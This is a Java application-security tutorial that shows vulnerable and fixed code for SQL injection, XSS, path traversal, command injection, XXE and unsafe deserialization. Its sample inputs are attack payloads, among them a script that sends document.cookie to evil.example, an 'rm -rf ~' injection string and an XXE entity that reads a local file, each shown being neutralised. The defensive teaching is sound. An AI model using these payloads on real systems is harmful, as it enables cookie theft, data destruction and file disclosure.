Application security

suggest change

Most security bugs in Java applications are not broken cryptography. They happen when untrusted data reaches an interpreter: SQL, HTML, a shell, an XML parser, a file path or the Java deserializer. This article covers the defenses every Java developer should know, all using only the JDK (plus a JDBC driver for the SQL example). Each problem gets a vulnerable version and a fixed one.

Related articles: Security and Cryptography for hashes, signatures and encryption, JWT and OAuth for tokens, Sessions for session handling, and HTTP headers for header basics.

The general rules:

SQL injection

Building SQL by concatenating strings lets the input change the meaning of the query. A PreparedStatement sends the SQL text and the values separately, so a value can never become SQL. The example uses an in-memory H2 database (com.h2database:h2):

import java.sql.*;

public class SqlInjection {
    public static void main(String[] args) throws SQLException {
        try (Connection c = DriverManager.getConnection("jdbc:h2:mem:app")) {
            try (Statement s = c.createStatement()) {
                s.execute("CREATE TABLE users(name VARCHAR(50), role VARCHAR(20))");
                s.execute("INSERT INTO users VALUES ('alice','admin'), ('bob','user')");
            }
            String input = "nobody' OR '1'='1";

            // VULNERABLE: input becomes part of the SQL text
            String sql = "SELECT name, role FROM users WHERE name = '" + input + "'";
            try (Statement s = c.createStatement(); ResultSet rs = s.executeQuery(sql)) {
                System.out.println("concatenated:");
                while (rs.next()) System.out.println("  " + rs.getString(1) + " " + rs.getString(2));
            }

            // SAFE: input is sent as a bound parameter, never parsed as SQL
            try (PreparedStatement ps = c.prepareStatement(
                    "SELECT name, role FROM users WHERE name = ?")) {
                ps.setString(1, input);
                try (ResultSet rs = ps.executeQuery()) {
                    System.out.println("prepared:");
                    while (rs.next()) System.out.println("  " + rs.getString(1) + " " + rs.getString(2));
                }
            }
        }
    }
}
concatenated:
  alice admin
  bob user
prepared:

The concatenated query became WHERE name = 'nobody' OR '1'='1' and returned every row. The prepared statement looked for a user literally named nobody' OR '1'='1 and found none.

Placeholders work only for values. Table names, column names and ORDER BY direction can't be parameters, so map user input to a fixed set of identifiers:

private static final Map<String, String> SORT_COLUMNS = Map.of(
    "name", "name",
    "created", "created_at",
    "price", "price_cents");

String column = SORT_COLUMNS.get(request.sort());       // user picks a key, not SQL
if (column == null) throw new IllegalArgumentException("bad sort field");
String dir = "desc".equalsIgnoreCase(request.dir()) ? "DESC" : "ASC";
String sql = "SELECT id, name FROM products ORDER BY " + column + " " + dir + " LIMIT ?";

The same rule applies to JPA/Hibernate (use :name parameters in JPQL, never concatenation), Spring's JdbcTemplate (? arguments) and to LDAP, XPath and NoSQL queries built from strings. See PostgreSQL for more JDBC usage.

Storing passwords

Never store passwords in plain text, encrypted, or hashed with a fast hash such as SHA-256. Fast hashes let an attacker who steals the database try billions of guesses per second. Use a deliberately slow, salted password hashing function: Argon2id, bcrypt, scrypt or PBKDF2. The JDK ships PBKDF2:

import java.security.GeneralSecurityException;
import java.security.MessageDigest;
import java.security.SecureRandom;
import java.util.Arrays;
import java.util.Base64;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;

public class Passwords {
    private static final String ALG = "PBKDF2WithHmacSHA256";
    private static final int ITERATIONS = 600_000; // OWASP 2023+ recommendation
    private static final SecureRandom RANDOM = new SecureRandom();

    // Returns "pbkdf2-sha256$iterations$salt$hash", all you need to verify later
    static String hash(char[] password) throws GeneralSecurityException {
        byte[] salt = new byte[16];
        RANDOM.nextBytes(salt);
        byte[] dk = derive(password, salt, ITERATIONS);
        Base64.Encoder b64 = Base64.getEncoder().withoutPadding();
        return "pbkdf2-sha256$" + ITERATIONS + "$" + b64.encodeToString(salt)
            + "$" + b64.encodeToString(dk);
    }

    static boolean verify(char[] password, String stored) throws GeneralSecurityException {
        String[] p = stored.split("[$]");
        int iterations = Integer.parseInt(p[1]);
        byte[] salt = Base64.getDecoder().decode(p[2]);
        byte[] expected = Base64.getDecoder().decode(p[3]);
        byte[] actual = derive(password, salt, iterations);
        return MessageDigest.isEqual(expected, actual); // constant-time comparison
    }

    private static byte[] derive(char[] password, byte[] salt, int iterations)
            throws GeneralSecurityException {
        PBEKeySpec spec = new PBEKeySpec(password, salt, iterations, 256);
        try {
            return SecretKeyFactory.getInstance(ALG).generateSecret(spec).getEncoded();
        } finally {
            spec.clearPassword();
        }
    }

    public static void main(String[] args) throws Exception {
        char[] pw = "correct horse battery staple".toCharArray();
        long t0 = System.nanoTime();
        String stored = hash(pw);
        long ms = (System.nanoTime() - t0) / 1_000_000;
        System.out.println(stored);
        System.out.println("hashing took ~" + (ms / 100 * 100) + " ms");
        System.out.println("right password: " + verify(pw, stored));
        System.out.println("wrong password: " + verify("hunter2".toCharArray(), stored));
        System.out.println("same password, new hash differs: " + !hash(pw).equals(stored));
        Arrays.fill(pw, '\0');
    }
}

Output (the salt and hash differ on every run, timing depends on the machine):

pbkdf2-sha256$600000$VTHvCKnx2BTZcCBcLDGJ2g$KDlgzPJyqxullKAyIedBvML0Y/n50gmvNCIXj7XhOrM
hashing took ~300 ms
right password: true
wrong password: false
same password, new hash differs: true

Points worth noting:

In a Spring application use PasswordEncoderFactories.createDelegatingPasswordEncoder() from Spring Security, which stores the algorithm id with the hash ({bcrypt}$2a$10$...) and supports upgrading algorithms. Outside Spring, de.mkammerer:argon2-jvm and at.favre.lib:bcrypt are popular.

Random tokens

Session ids, password reset links, API keys and CSRF tokens must be unpredictable. java.util.Random, Math.random() and ThreadLocalRandom are not suitable: their output can be predicted from a few observed values. Use SecureRandom:

import java.security.SecureRandom;
import java.util.Base64;
import java.util.HexFormat;

public class Tokens {
    private static final SecureRandom RANDOM = new SecureRandom();

    static String newToken() {
        byte[] bytes = new byte[32]; // 256 bits
        RANDOM.nextBytes(bytes);
        return Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
    }

    public static void main(String[] args) {
        System.out.println(newToken());
        System.out.println(newToken());
        byte[] key = new byte[16];
        RANDOM.nextBytes(key);
        System.out.println(HexFormat.of().formatHex(key));
    }
}

Output (random):

WBjLABlDw1mqWUTwuAwDFdJl6TvIOrmbgsW5emuApXs
4U5n-A5SJsg1tkw8qhU4eb7gCvtFoFHip6-Pm9HGBmo
4ecd96dd086cf7f33c2919130c27eecf

32 bytes (256 bits) makes guessing impossible. Base64url without padding is safe in URLs and cookies. Store only a hash of long-lived tokens (for example SHA-256 of the reset token) so a database leak doesn't hand out working links, and give them a short expiry. More in Generating cryptographically secure pseudorandom numbers.

Cross-site scripting (XSS)

XSS happens when user input is written into an HTML page without escaping and the browser runs it as script. The fix is to escape on output, for the context where the value is inserted:

public class HtmlEscape {
    static String escapeHtml(String s) {
        StringBuilder sb = new StringBuilder(s.length() + 16);
        for (int i = 0; i < s.length(); i++) {
            char c = s.charAt(i);
            switch (c) {
                case '<' -> sb.append("&lt;");
                case '>' -> sb.append("&gt;");
                case '&' -> sb.append("&amp;");
                case '"' -> sb.append("&quot;");
                case '\'' -> sb.append("&#39;");
                default -> sb.append(c);
            }
        }
        return sb.toString();
    }

    public static void main(String[] args) {
        String comment = "<script>fetch('https://evil.example/?c='+document.cookie)</script>";
        String name = "\" onmouseover=\"alert(1)";
        System.out.println("<p>" + escapeHtml(comment) + "</p>");
        System.out.println("<input value=\"" + escapeHtml(name) + "\">");
    }
}
<p>&lt;script&gt;fetch(&#39;https://evil.example/?c=&#39;+document.cookie)&lt;/script&gt;</p>
<input value="&quot; onmouseover=&quot;alert(1)">

Notes:

Path traversal

When a file name comes from the user, ../ sequences or an absolute path can escape the intended directory. Resolve, normalize and check that the result is still inside the base directory:

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;

public class SafePath {
    static Path resolveInside(Path baseDir, String userPath) throws IOException {
        Path base = baseDir.toRealPath();
        Path target = base.resolve(userPath).normalize();
        if (!target.startsWith(base)) {
            throw new SecurityException("path escapes base directory: " + userPath);
        }
        // If the file exists, also resolve symlinks and check again
        if (Files.exists(target) && !target.toRealPath().startsWith(base)) {
            throw new SecurityException("symlink escapes base directory: " + userPath);
        }
        return target;
    }

    public static void main(String[] args) throws IOException {
        Path base = Files.createTempDirectory("uploads");
        Files.writeString(base.resolve("report.txt"), "quarterly numbers");

        for (String name : new String[] {"report.txt", "../../etc/passwd", "a/../report.txt", "/etc/passwd"}) {
            try {
                Path p = resolveInside(base, name);
                System.out.println("ok:      " + name + " -> " + base.relativize(p));
            } catch (SecurityException e) {
                System.out.println("blocked: " + e.getMessage());
            }
        }
    }
}
ok:      report.txt -> report.txt
blocked: path escapes base directory: ../../etc/passwd
ok:      a/../report.txt -> report.txt
blocked: path escapes base directory: /etc/passwd

Path.startsWith compares path elements, not characters, so /srv/uploads-old doesn't pass as being inside /srv/uploads (which a String.startsWith check would allow). For uploads, it's safer still to ignore the client's file name entirely and store files under a generated id, keeping the original name only as metadata. Unzipping archives has the same problem ("zip slip"): check each ZipEntry name with the same function before writing it.

Command injection

Passing user input into a shell command string lets the user run arbitrary commands. Use ProcessBuilder with a list of arguments and no shell. The program below starts EchoArgs.java, which only prints the arguments it received:

public class EchoArgs {
    public static void main(String[] args) {
        System.out.println(args.length + " argument(s)");
        for (String a : args) System.out.println("[" + a + "]");
    }
}
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;

public class Commands {
    private static final Pattern SAFE_NAME = Pattern.compile("[A-Za-z0-9._-]{1,64}");

    public static void main(String[] args) throws IOException, InterruptedException {
        String userFile = "notes.txt; rm -rf ~ && echo $(whoami)";

        // VULNERABLE: a shell parses the string, so ';', '&&' and $(...) run commands
        // new ProcessBuilder("sh", "-c", "wc -l " + userFile).start();

        // SAFE: no shell; each list element reaches the program as one argument
        List<String> cmd = new ArrayList<>(List.of("java", "EchoArgs.java"));
        cmd.add(userFile);
        Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
        System.out.print(new String(p.getInputStream().readAllBytes()));
        System.out.println("exit " + p.waitFor());

        // Even better: validate against an allowlist before using the value at all
        System.out.println("valid name? " + SAFE_NAME.matcher(userFile).matches());
    }
}
1 argument(s)
[notes.txt; rm -rf ~ && echo $(whoami)]
exit 0
valid name? false

The whole string arrived as one harmless argument. Even without a shell, a value starting with - can be taken as an option by the target program, so put -- before user-supplied arguments when the program supports it, or validate as shown. Never use Runtime.exec(String) with user input: it splits the string on spaces, which is fragile and invites mistakes. More in Process.

XML external entities (XXE)

By default, the JDK XML parsers resolve DTDs and external entities. A malicious document can then read local files, make requests to internal servers (SSRF) or exhaust memory with nested entities ("billion laughs"). Disable DOCTYPE processing for any XML that comes from outside:

import java.io.ByteArrayInputStream;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import javax.xml.XMLConstants;
import javax.xml.parsers.DocumentBuilderFactory;
import org.xml.sax.SAXParseException;
import org.xml.sax.helpers.DefaultHandler;

public class Xxe {
    static DocumentBuilderFactory secureFactory() throws Exception {
        DocumentBuilderFactory f = DocumentBuilderFactory.newInstance();
        // Reject any document that has a DOCTYPE: blocks XXE and "billion laughs"
        f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        f.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
        f.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
        f.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
        f.setXIncludeAware(false);
        f.setExpandEntityReferences(false);
        return f;
    }

    static String parse(DocumentBuilderFactory f, String xml) throws Exception {
        var in = new ByteArrayInputStream(xml.getBytes(StandardCharsets.UTF_8));
        var builder = f.newDocumentBuilder();
        builder.setErrorHandler(new DefaultHandler()); // throw on errors, don't print to stderr
        return builder.parse(in).getDocumentElement().getTextContent();
    }

    public static void main(String[] args) throws Exception {
        Path secret = Files.createTempFile("secret", ".txt");
        Files.writeString(secret, "db_password=s3cr3t");
        String xml = """
            <?xml version="1.0"?>
            <!DOCTYPE order [ <!ENTITY xxe SYSTEM "%s"> ]>
            <order>&xxe;</order>
            """.formatted(secret.toUri());

        System.out.println("default parser: " + parse(DocumentBuilderFactory.newInstance(), xml));
        try {
            parse(secureFactory(), xml);
        } catch (SAXParseException e) {
            System.out.println("secure parser:  " + e.getMessage());
        }
    }
}
default parser: db_password=s3cr3t
secure parser:  DOCTYPE is disallowed when the feature "http://apache.org/xml/features/disallow-doctype-decl" set to true.

The default parser happily inlined the contents of the local file. The same hardening is needed for SAXParserFactory, XMLInputFactory (set XMLInputFactory.SUPPORT_DTD to false), TransformerFactory and SchemaFactory. JAXB and libraries such as Jackson XML use these factories underneath, so check their configuration too. See XML Parsing using JAXP.

Unsafe deserialization

ObjectInputStream.readObject() on untrusted bytes is one of the most dangerous calls in Java. The stream picks which classes get instantiated, and "gadget chains" in common libraries turn that into remote code execution before your code ever sees the object. Best: don't use Java serialization for data crossing a trust boundary; use JSON or Protocol Buffers with explicit classes. If you must, install an ObjectInputFilter that allowlists classes and limits size:

import java.io.*;
import java.util.ArrayList;
import java.util.HashMap;

public class DeserFilter {
    record Point(int x, int y) implements Serializable {}

    static Object read(byte[] data, ObjectInputFilter filter) throws Exception {
        try (var in = new ObjectInputStream(new ByteArrayInputStream(data))) {
            in.setObjectInputFilter(filter);
            return in.readObject();
        }
    }

    static byte[] write(Object o) throws IOException {
        var bos = new ByteArrayOutputStream();
        try (var out = new ObjectOutputStream(bos)) {
            out.writeObject(o);
        }
        return bos.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        // Allow only Point and java.lang classes, limit graph size, reject everything else
        ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
            "maxdepth=5;maxrefs=100;maxbytes=10000;DeserFilter$Point;java.lang.*;!*");

        System.out.println(read(write(new Point(3, 4)), filter));
        try {
            var map = new HashMap<String, Object>();
            map.put("list", new ArrayList<>());
            read(write(map), filter);
        } catch (InvalidClassException e) {
            System.out.println("rejected: " + e.getMessage());
        }
    }
}
Point[x=3, y=4]
rejected: filter status: REJECTED

The pattern DeserFilter$Point;java.lang.*;!* accepts Point and java.lang classes and rejects everything else, including HashMap. You can set a JVM-wide filter with -Djdk.serialFilter=... or ObjectInputFilter.Config.setSerialFilter. Similar risks exist in JSON libraries that support polymorphic typing: don't enable Jackson's activateDefaultTyping for untrusted input, and with SnakeYAML use version 2.x, whose default loader refuses to instantiate arbitrary classes from YAML tags.

Input validation

Validation doesn't replace parameterized queries or output encoding, but it shrinks the attack surface and catches garbage early. Validate type, length, range and format at the boundary, preferably with allowlists. A record's compact constructor makes invalid objects impossible to create:

import java.util.ArrayList;
import java.util.List;
import java.util.Set;
import java.util.regex.Pattern;

public class Validation {
    private static final Pattern USERNAME = Pattern.compile("[a-z][a-z0-9_]{2,31}");
    private static final Set<String> COUNTRIES = Set.of("US", "DE", "PL", "JP");

    record SignupRequest(String username, String email, int age, String country) {
        // Compact constructor: an invalid SignupRequest can never exist
        SignupRequest {
            List<String> errors = new ArrayList<>();
            if (username == null || !USERNAME.matcher(username).matches())
                errors.add("username must be 3-32 chars: a-z, 0-9, _");
            if (email == null || email.length() > 254 || !email.matches("[^@\\s]+@[^@\\s]+[.][^@\\s]+"))
                errors.add("email is invalid");
            if (age < 13 || age > 150)
                errors.add("age out of range");
            if (!COUNTRIES.contains(country))
                errors.add("unsupported country");
            if (!errors.isEmpty()) throw new IllegalArgumentException(String.join("; ", errors));
        }
    }

    public static void main(String[] args) {
        System.out.println(new SignupRequest("alice_99", "alice@example.com", 30, "PL"));
        try {
            new SignupRequest("Robert'); DROP TABLE users;--", "x@y", -1, "XX");
        } catch (IllegalArgumentException e) {
            System.out.println("rejected: " + e.getMessage());
        }
    }
}
SignupRequest[username=alice_99, email=alice@example.com, age=30, country=PL]
rejected: username must be 3-32 chars: a-z, 0-9, _; email is invalid; age out of range; unsupported country

Tips:

Secrets and logging

Credentials in source code end up in Git history, container images and decompiled jars. Load them from environment variables or a secret manager (Vault, AWS Secrets Manager, Kubernetes secrets), and keep them out of logs and exception messages:

public class Secrets {
    record DbConfig(String url, String user, String password) {
        @Override
        public String toString() {
            return "DbConfig[url=" + url + ", user=" + user + ", password=***]";
        }
    }

    public static void main(String[] args) {
        String password = System.getenv().getOrDefault("DB_PASSWORD", "dev-only-password");
        var cfg = new DbConfig("jdbc:postgresql://db:5432/app", "app", password);
        System.out.println("starting with " + cfg); // safe to log
    }
}
starting with DbConfig[url=jdbc:postgresql://db:5432/app, user=app, password=***]

A record's generated toString() prints every component, which is how passwords end up in logs. Override it for any type that holds secrets. Also:

See Environment variables.

Security headers

Browsers enforce extra protections when the server asks for them. With the JDK HttpServer, a Filter can add them to every response:

import com.sun.net.httpserver.Filter;
import com.sun.net.httpserver.HttpServer;
import java.net.InetSocketAddress;
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;

public class Headers {
    public static void main(String[] args) throws Exception {
        Filter securityHeaders = Filter.beforeHandler("security headers", ex -> {
            var h = ex.getResponseHeaders();
            h.set("Content-Security-Policy", "default-src 'self'; frame-ancestors 'none'");
            h.set("X-Content-Type-Options", "nosniff");
            h.set("Referrer-Policy", "strict-origin-when-cross-origin");
            h.set("Strict-Transport-Security", "max-age=31536000; includeSubDomains");
            h.set("Cache-Control", "no-store");
        });

        HttpServer server = HttpServer.create(new InetSocketAddress("127.0.0.1", 0), 0);
        var ctx = server.createContext("/", ex -> {
            byte[] body = "hello".getBytes();
            ex.getResponseHeaders().set("Content-Type", "text/plain; charset=utf-8");
            ex.sendResponseHeaders(200, body.length);
            ex.getResponseBody().write(body);
            ex.close();
        });
        ctx.getFilters().add(securityHeaders);
        server.start();

        try (HttpClient client = HttpClient.newHttpClient()) {
            var uri = URI.create("http://127.0.0.1:" + server.getAddress().getPort() + "/");
            var resp = client.send(HttpRequest.newBuilder(uri).build(), HttpResponse.BodyHandlers.ofString());
            resp.headers().map().entrySet().stream()
                .filter(e -> !e.getKey().equals("date") && !e.getKey().equals("content-length"))
                .sorted(java.util.Map.Entry.comparingByKey())
                .forEach(e -> System.out.println(e.getKey() + ": " + String.join(", ", e.getValue())));
        } finally {
            server.stop(0);
        }
    }
}
cache-control: no-store
content-security-policy: default-src 'self'; frame-ancestors 'none'
content-type: text/plain; charset=utf-8
referrer-policy: strict-origin-when-cross-origin
strict-transport-security: max-age=31536000; includeSubDomains
x-content-type-options: nosniff

Content-Security-Policy blocks inline and third-party scripts (a strong XSS mitigation), frame-ancestors 'none' prevents clickjacking, nosniff stops MIME sniffing, and Strict-Transport-Security forces HTTPS on future visits. no-store keeps pages with personal data out of shared caches. For session cookies, set HttpOnly, Secure and SameSite=Lax (or Strict); SameSite together with CSRF tokens protects state-changing requests from cross-site forgery. In Spring Boot, Spring Security sets most of these headers and CSRF protection by default.

Authentication and access control

The most common vulnerability class in the OWASP Top 10 is broken access control: the code checks that the user is logged in, but not that they may access this record.

// VULNERABLE: any logged-in user can read any invoice by changing the id
Invoice inv = invoices.findById(id);

// SAFE: scope the query to the current user (or check ownership explicitly)
Invoice inv = invoices.findByIdAndOwnerId(id, currentUser.id())
    .orElseThrow(() -> new NotFoundException()); // 404, don't reveal it exists

Other rules:

TLS and dependencies

Checklist

Threat Defense in Java
SQL injection PreparedStatement / named parameters; allowlist identifiers
Password theft PBKDF2/bcrypt/Argon2id with salt; MessageDigest.isEqual
Guessable tokens SecureRandom, 128+ bits, short expiry
XSS escaping template engine, OWASP Encoder, CSP header
Path traversal normalize() + Path.startsWith(base); generated file names
Command injection ProcessBuilder with argument list, no shell
XXE disallow-doctype-decl on every XML factory
Deserialization avoid ObjectInputStream; ObjectInputFilter allowlist
Secrets in logs env vars / secret manager; redacting toString()
Broken access control per-object ownership checks, deny by default
Vulnerable libraries dependency scanning, regular JDK and library updates

Feedback about page:

Feedback:
Optional: your email if you want me to get back to you:



Table Of Contents